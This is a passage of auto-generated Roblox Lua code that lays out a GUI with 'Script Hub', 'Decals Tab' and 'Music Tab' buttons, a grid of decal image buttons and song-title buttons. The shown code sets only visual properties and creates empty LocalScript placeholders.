G2L["9d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9d"]["Size"] = UDim2.new(0, 80, 0, 29);
G2L["9d"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["9d"]["Text"] = [[Script Hub]];
G2L["9d"]["Position"] = UDim2.new(0.27617, 0, -1.03242, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["9e"] = Instance.new("LocalScript", G2L["9d"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["9f"] = Instance.new("TextButton", G2L["2"]);
G2L["9f"]["TextWrapped"] = true;
G2L["9f"]["TextStrokeTransparency"] = 0;
G2L["9f"]["BorderSizePixel"] = 2;
G2L["9f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["9f"]["TextSize"] = 14;
G2L["9f"]["TextScaled"] = true;
G2L["9f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9f"]["Size"] = UDim2.new(0, 80, 0, 29);
G2L["9f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["9f"]["Text"] = [[Decals Tab]];
G2L["9f"]["Position"] = UDim2.new(0.09492, 0, -1.03242, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["a0"] = Instance.new("LocalScript", G2L["9f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab
G2L["a1"] = Instance.new("Frame", G2L["2"]);
G2L["a1"]["Visible"] = false;
G2L["a1"]["BorderSizePixel"] = 2;
G2L["a1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a1"]["Size"] = UDim2.new(0, 480, 0, 298);
G2L["a1"]["Position"] = UDim2.new(-0, 0, 1, 0);
G2L["a1"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["a1"]["Name"] = [[decal tab]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.LocalScript
G2L["a2"] = Instance.new("LocalScript", G2L["a1"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["a3"] = Instance.new("ImageButton", G2L["a1"]);
G2L["a3"]["BorderSizePixel"] = 0;
G2L["a3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a3"]["Image"] = [[rbxassetid://129848533443618]];
G2L["a3"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["a3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a3"]["Position"] = UDim2.new(0.03542, 0, 0.02349, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["a4"] = Instance.new("LocalScript", G2L["a3"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["a5"] = Instance.new("ImageButton", G2L["a1"]);
G2L["a5"]["BorderSizePixel"] = 0;
G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a5"]["Image"] = [[rbxassetid://136210975971385]];
G2L["a5"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["Position"] = UDim2.new(0.18542, 0, 0.02349, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["a6"] = Instance.new("LocalScript", G2L["a5"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["a7"] = Instance.new("ImageButton", G2L["a1"]);
G2L["a7"]["BorderSizePixel"] = 0;
G2L["a7"]["BackgroundTransparency"] = 1;
G2L["a7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a7"]["Image"] = [[rbxassetid://138398355967853]];
G2L["a7"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["a7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a7"]["Position"] = UDim2.new(0.33125, 0, 0.02349, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["a8"] = Instance.new("LocalScript", G2L["a7"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["a9"] = Instance.new("ImageButton", G2L["a1"]);
G2L["a9"]["BorderSizePixel"] = 0;
G2L["a9"]["BackgroundTransparency"] = 1;
G2L["a9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a9"]["Image"] = [[rbxassetid://107623554005413]];
G2L["a9"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["a9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a9"]["Position"] = UDim2.new(0.48125, 0, 0.02349, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["aa"] = Instance.new("LocalScript", G2L["a9"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["ab"] = Instance.new("ImageButton", G2L["a1"]);
G2L["ab"]["BorderSizePixel"] = 0;
G2L["ab"]["BackgroundTransparency"] = 1;
G2L["ab"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ab"]["Image"] = [[rbxassetid://134944428887587]];
G2L["ab"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["ab"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ab"]["Position"] = UDim2.new(0.66458, 0, 0.02349, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["ac"] = Instance.new("LocalScript", G2L["ab"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["ad"] = Instance.new("ImageButton", G2L["a1"]);
G2L["ad"]["BorderSizePixel"] = 0;
G2L["ad"]["BackgroundTransparency"] = 1;
G2L["ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ad"]["Image"] = [[rbxassetid://124744181593044]];
G2L["ad"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ad"]["Position"] = UDim2.new(0.83125, 0, 0.02349, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["ae"] = Instance.new("LocalScript", G2L["ad"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["af"] = Instance.new("ImageButton", G2L["a1"]);
G2L["af"]["BorderSizePixel"] = 0;
G2L["af"]["BackgroundTransparency"] = 1;
G2L["af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["af"]["Image"] = [[rbxassetid://115124098678072]];
G2L["af"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["af"]["Position"] = UDim2.new(0.03958, 0, 0.25503, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["b0"] = Instance.new("LocalScript", G2L["af"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["b1"] = Instance.new("ImageButton", G2L["a1"]);
G2L["b1"]["BorderSizePixel"] = 0;
G2L["b1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b1"]["Image"] = [[rbxassetid://130251045462119]];
G2L["b1"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["b1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b1"]["Position"] = UDim2.new(0.18958, 0, 0.25503, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["b2"] = Instance.new("LocalScript", G2L["b1"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["b3"] = Instance.new("ImageButton", G2L["a1"]);
G2L["b3"]["BorderSizePixel"] = 0;
G2L["b3"]["BackgroundTransparency"] = 1;
G2L["b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b3"]["Image"] = [[rbxassetid://107904704165853]];
G2L["b3"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b3"]["Position"] = UDim2.new(0.33542, 0, 0.25503, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["b4"] = Instance.new("LocalScript", G2L["b3"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["b5"] = Instance.new("ImageButton", G2L["a1"]);
G2L["b5"]["BorderSizePixel"] = 0;
G2L["b5"]["BackgroundTransparency"] = 1;
G2L["b5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b5"]["Image"] = [[rbxassetid://84097650395160]];
G2L["b5"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["b5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b5"]["Position"] = UDim2.new(0.48542, 0, 0.25503, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["b6"] = Instance.new("LocalScript", G2L["b5"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["b7"] = Instance.new("ImageButton", G2L["a1"]);
G2L["b7"]["BorderSizePixel"] = 0;
G2L["b7"]["BackgroundTransparency"] = 1;
G2L["b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b7"]["Image"] = [[rbxassetid://87856165753241]];
G2L["b7"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b7"]["Position"] = UDim2.new(0.66875, 0, 0.25503, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["b8"] = Instance.new("LocalScript", G2L["b7"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["b9"] = Instance.new("ImageButton", G2L["a1"]);
G2L["b9"]["BorderSizePixel"] = 0;
G2L["b9"]["BackgroundTransparency"] = 1;
G2L["b9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b9"]["Image"] = [[rbxassetid://71879270181738]];
G2L["b9"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["b9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b9"]["Position"] = UDim2.new(0.83542, 0, 0.25503, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["ba"] = Instance.new("LocalScript", G2L["b9"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["bb"] = Instance.new("ImageButton", G2L["a1"]);
G2L["bb"]["BorderSizePixel"] = 0;
G2L["bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bb"]["Image"] = [[rbxassetid://140116491825821]];
G2L["bb"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bb"]["Position"] = UDim2.new(0.03958, 0, 0.5, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["bc"] = Instance.new("LocalScript", G2L["bb"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["bd"] = Instance.new("ImageButton", G2L["a1"]);
G2L["bd"]["BorderSizePixel"] = 0;
G2L["bd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bd"]["Image"] = [[rbxassetid://134611010513870]];
G2L["bd"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["bd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bd"]["Position"] = UDim2.new(0.18958, 0, 0.5, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["be"] = Instance.new("LocalScript", G2L["bd"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["bf"] = Instance.new("ImageButton", G2L["a1"]);
G2L["bf"]["BorderSizePixel"] = 0;
G2L["bf"]["BackgroundTransparency"] = 1;
G2L["bf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bf"]["Image"] = [[rbxassetid://108308355314203]];
G2L["bf"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["bf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bf"]["Position"] = UDim2.new(0.33542, 0, 0.5, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["c0"] = Instance.new("LocalScript", G2L["bf"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["c1"] = Instance.new("ImageButton", G2L["a1"]);
G2L["c1"]["BorderSizePixel"] = 0;
G2L["c1"]["BackgroundTransparency"] = 1;
G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c1"]["Image"] = [[rbxassetid://90717448905380]];
G2L["c1"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["c1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c1"]["Position"] = UDim2.new(0.48542, 0, 0.5, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["c2"] = Instance.new("LocalScript", G2L["c1"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["c3"] = Instance.new("ImageButton", G2L["a1"]);
G2L["c3"]["BorderSizePixel"] = 0;
G2L["c3"]["BackgroundTransparency"] = 1;
G2L["c3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c3"]["Image"] = [[rbxassetid://12581152033]];
G2L["c3"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["c3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c3"]["Position"] = UDim2.new(0.66875, 0, 0.5, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["c4"] = Instance.new("LocalScript", G2L["c3"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["c5"] = Instance.new("ImageButton", G2L["a1"]);
G2L["c5"]["BorderSizePixel"] = 0;
G2L["c5"]["BackgroundTransparency"] = 1;
G2L["c5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c5"]["Image"] = [[rbxassetid://178993745]];
G2L["c5"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["c5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c5"]["Position"] = UDim2.new(0.83542, 0, 0.5, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["c6"] = Instance.new("LocalScript", G2L["c5"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton
G2L["c7"] = Instance.new("ImageButton", G2L["a1"]);
G2L["c7"]["BorderSizePixel"] = 0;
G2L["c7"]["BackgroundTransparency"] = 1;
G2L["c7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c7"]["Image"] = [[rbxassetid://138617092644732]];
G2L["c7"]["Size"] = UDim2.new(0, 60, 0, 60);
G2L["c7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c7"]["Position"] = UDim2.new(0.03958, 0, 0.74832, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
G2L["c8"] = Instance.new("LocalScript", G2L["c7"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["c9"] = Instance.new("TextButton", G2L["2"]);
G2L["c9"]["TextWrapped"] = true;
G2L["c9"]["TextStrokeTransparency"] = 0;
G2L["c9"]["BorderSizePixel"] = 2;
G2L["c9"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["c9"]["TextSize"] = 14;
G2L["c9"]["TextScaled"] = true;
G2L["c9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c9"]["Size"] = UDim2.new(0, 80, 0, 29);
G2L["c9"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["c9"]["Text"] = [[Music Tab]];
G2L["c9"]["Position"] = UDim2.new(0.83242, 0, 11.24344, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["ca"] = Instance.new("LocalScript", G2L["c9"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab
G2L["cb"] = Instance.new("Frame", G2L["2"]);
G2L["cb"]["Visible"] = false;
G2L["cb"]["BorderSizePixel"] = 2;
G2L["cb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cb"]["Size"] = UDim2.new(0, 480, 0, 298);
G2L["cb"]["Position"] = UDim2.new(-0, 0, 1, 0);
G2L["cb"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["cb"]["Name"] = [[music tab]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["cc"] = Instance.new("TextButton", G2L["cb"]);
G2L["cc"]["TextWrapped"] = true;
G2L["cc"]["TextStrokeTransparency"] = 0;
G2L["cc"]["BorderSizePixel"] = 2;
G2L["cc"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["cc"]["TextSize"] = 14;
G2L["cc"]["TextScaled"] = true;
G2L["cc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["cc"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["cc"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["cc"]["Text"] = [[Theme]];
G2L["cc"]["Position"] = UDim2.new(0.7875, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["cd"] = Instance.new("LocalScript", G2L["cc"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["ce"] = Instance.new("TextButton", G2L["cb"]);
G2L["ce"]["TextWrapped"] = true;
G2L["ce"]["TextStrokeTransparency"] = 0;
G2L["ce"]["BorderSizePixel"] = 2;
G2L["ce"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["ce"]["TextSize"] = 14;
G2L["ce"]["TextScaled"] = true;
G2L["ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ce"]["Size"] = UDim2.new(0, 90, 0, 26);
G2L["ce"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["ce"]["Text"] = [[Body Rolls]];
G2L["ce"]["Position"] = UDim2.new(0.15208, 0, 0.86913, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["cf"] = Instance.new("LocalScript", G2L["ce"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["d0"] = Instance.new("TextButton", G2L["cb"]);
G2L["d0"]["TextWrapped"] = true;
G2L["d0"]["TextStrokeTransparency"] = 0;
G2L["d0"]["BorderSizePixel"] = 2;
G2L["d0"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["d0"]["TextSize"] = 14;
G2L["d0"]["TextScaled"] = true;
G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d0"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["d0"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["d0"]["Text"] = [[EFN]];
G2L["d0"]["Position"] = UDim2.new(0.35833, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["d1"] = Instance.new("LocalScript", G2L["d0"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["d2"] = Instance.new("TextButton", G2L["cb"]);
G2L["d2"]["TextWrapped"] = true;
G2L["d2"]["TextStrokeTransparency"] = 0;
G2L["d2"]["BorderSizePixel"] = 2;
G2L["d2"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["d2"]["TextSize"] = 14;
G2L["d2"]["TextScaled"] = true;
G2L["d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d2"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["d2"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["d2"]["Text"] = [[MoonMan]];
G2L["d2"]["Position"] = UDim2.new(0.15208, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["d3"] = Instance.new("LocalScript", G2L["d2"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["d4"] = Instance.new("TextButton", G2L["cb"]);
G2L["d4"]["TextWrapped"] = true;
G2L["d4"]["TextStrokeTransparency"] = 0;
G2L["d4"]["BorderSizePixel"] = 2;
G2L["d4"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["d4"]["TextSize"] = 14;
G2L["d4"]["TextScaled"] = true;
G2L["d4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d4"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["d4"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["d4"]["Text"] = [[679]];
G2L["d4"]["Position"] = UDim2.new(0.15208, 0, 0.19799, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["d5"] = Instance.new("LocalScript", G2L["d4"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["d6"] = Instance.new("TextButton", G2L["cb"]);
G2L["d6"]["TextWrapped"] = true;
G2L["d6"]["TextStrokeTransparency"] = 0;
G2L["d6"]["BorderSizePixel"] = 2;
G2L["d6"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["d6"]["TextSize"] = 14;
G2L["d6"]["TextScaled"] = true;
G2L["d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d6"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["d6"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["d6"]["Text"] = [[Sparta Remix Mindblwoing]];
G2L["d6"]["Position"] = UDim2.new(0.35833, 0, 0.19799, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["d7"] = Instance.new("LocalScript", G2L["d6"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["d8"] = Instance.new("TextButton", G2L["cb"]);
G2L["d8"]["TextWrapped"] = true;
G2L["d8"]["TextStrokeTransparency"] = 0;
G2L["d8"]["BorderSizePixel"] = 2;
G2L["d8"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["d8"]["TextSize"] = 14;
G2L["d8"]["TextScaled"] = true;
G2L["d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d8"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["d8"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["d8"]["Text"] = [[Tripaloski]];
G2L["d8"]["Position"] = UDim2.new(0.57292, 0, 0.19799, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["d9"] = Instance.new("LocalScript", G2L["d8"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["da"] = Instance.new("TextButton", G2L["cb"]);
G2L["da"]["TextWrapped"] = true;
G2L["da"]["TextStrokeTransparency"] = 0;
G2L["da"]["BorderSizePixel"] = 2;
G2L["da"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["da"]["TextSize"] = 14;
G2L["da"]["TextScaled"] = true;
G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["da"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["da"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["da"]["Text"] = [[Red Sun In the Sky]];
G2L["da"]["Position"] = UDim2.new(0.78958, 0, 0.19799, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["db"] = Instance.new("LocalScript", G2L["da"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["dc"] = Instance.new("TextButton", G2L["cb"]);
G2L["dc"]["TextWrapped"] = true;
G2L["dc"]["TextStrokeTransparency"] = 0;
G2L["dc"]["BorderSizePixel"] = 2;
G2L["dc"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["dc"]["TextSize"] = 14;
G2L["dc"]["TextScaled"] = true;
G2L["dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dc"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["dc"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["dc"]["Text"] = [[Stone Park]];
G2L["dc"]["Position"] = UDim2.new(0.78958, 0, 0.37919, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["dd"] = Instance.new("LocalScript", G2L["dc"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["de"] = Instance.new("TextButton", G2L["cb"]);
G2L["de"]["TextWrapped"] = true;
G2L["de"]["TextStrokeTransparency"] = 0;
G2L["de"]["BorderSizePixel"] = 2;
G2L["de"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["de"]["TextSize"] = 14;
G2L["de"]["TextScaled"] = true;
G2L["de"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["de"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["de"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["de"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["de"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["de"]["Text"] = [[pills got us on love]];
G2L["de"]["Position"] = UDim2.new(0.57083, 0, 0.37919, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["df"] = Instance.new("LocalScript", G2L["de"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["e0"] = Instance.new("TextButton", G2L["cb"]);
G2L["e0"]["TextWrapped"] = true;
G2L["e0"]["TextStrokeTransparency"] = 0;
G2L["e0"]["BorderSizePixel"] = 2;
G2L["e0"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["e0"]["TextSize"] = 14;
G2L["e0"]["TextScaled"] = true;
